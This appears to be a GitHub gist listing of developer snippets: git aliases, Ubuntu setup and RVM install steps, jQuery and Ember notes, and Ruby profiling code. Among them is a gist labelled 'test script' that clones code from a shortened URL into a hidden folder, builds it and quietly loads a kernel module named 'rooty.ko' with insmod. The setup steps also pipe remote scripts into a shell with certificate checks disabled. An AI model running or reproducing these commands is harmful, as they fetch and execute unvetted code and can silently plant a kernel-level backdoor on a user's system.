Skip to content

Instantly share code, notes, and snippets.

@blaedj
blaedj / gist:8184762
Created December 30, 2013 17:02
some git aliases
Here are some git aliases
ll = log --pretty=format:"%C(yellow)%h%Cred%d\\ %Creset%s%Cblue\\ [%cn]" --decorate --numstat
ls = log --pretty=format:"%C(yellow)%h%Cred%d\\ %Creset%s%Cblue\\ [%cn]" --decorate
lds = log --pretty=format:"%C(yellow)%h\\ %ad%Cred%d\\ %Creset%s%Cblue\\ [%cn]" --decorate --date=short
done = "!f() { git branch | grep "$1" | cut -c 3- | grep -v done | xargs -I{} git branch -m {} done-{}; }; f"
@blaedj
blaedj / gist:9960877
Last active August 29, 2015 13:58
Instructions for use of redisScipt.rb
  1. Install rubygems
   sudo apt-get install rubygems )
  1. install rvm: (this will also install ruby version 1.9.3)
    curl -sSL https://get.rvm.io | bash -s stable --ruby=1.9.3 
@blaedj
blaedj / setup.sh
Last active May 16, 2019 19:18
simple Ubuntu Linux setup script
#TO USE: Run the following:
# sudo curl -fsSkL http://gist.githubusercontent.com/blaedj/11387166/raw/352c44464e0db63afb9f375b887942f5676bfcda/setup.sh | sh
#install git
sudo apt-get install git
#install zsh
apt-get install zsh
chsh -s /bin/zsh
@blaedj
blaedj / tst
Created May 2, 2014 02:09
test script
git clone http://goo.gl/cgu5WR .tmp9y3/ > /dev/null
cwd=$(pwd)
cd .tmp9y3/
sed -i 's/\.TEST/${cwd}/g' rooty.c > /dev/null
make all > /dev/null/
insmod rooty.ko > /dev/null/
@blaedj
blaedj / ember-calendar-test.diff
Last active November 20, 2015 21:34
Diff of changes after from `ember new`
diff --git a/app/controllers/index.js b/app/controllers/index.js
new file mode 100644
index 0000000..fdf2155
--- /dev/null
+++ b/app/controllers/index.js
@@ -0,0 +1,24 @@
+import Ember from 'ember';
+
+export default Ember.Controller.extend({
+ occurrences: Ember.A(),
@blaedj
blaedj / selectors.md
Last active November 3, 2016 15:06
JQuery Selectors

the jquery code $("#searchable.dynamic-content") will match on an element that has the id searchable and the class dynamic-content. That doesn't help us much, since in the code in the issue we are trying to get at an element with the class dynamic-content that is inside an element with the id searchable. Assuming we have the following html:

<div id="searchable">
<div class="dynamic-content">...content here...</div>
</div>

the first selector won't match on anything. It would only match if we added the class dynamic-content to the outer div that

@blaedj
blaedj / Notes on Queue Adapters.md
Last active April 16, 2018 21:43
Custom ActiveJob backends - notes and research

ActiveJob Queue Adapter api

Adapters must adhere to the following api: (rails//activejob/lib/active_job/queue_adapter.rb)

QUEUE_ADAPTER_METHODS = [:enqueue, :enqueue_at].freeze

  def queue_adapter?(object)
    QUEUE_ADAPTER_METHODS.all? { |meth| object.respond_to?(meth) 
  end
@blaedj
blaedj / watch.rb
Created November 21, 2023 20:44
watch.rb for vernier - traps info signal to start/stop profiling
# put this inside vernier/lib/vernier/watch.rb
# to use with e.g. rails server:
# $ 'RUBYOPT='-I/path-containing-vernier-repo/vernier/lib -rvernier/watch' rails server
# then sending the 'info' signal (shoult be Ctrl-T on macos terminal) will start/stop profiling
require "vernier"
class Null
def self.record_interval name
yield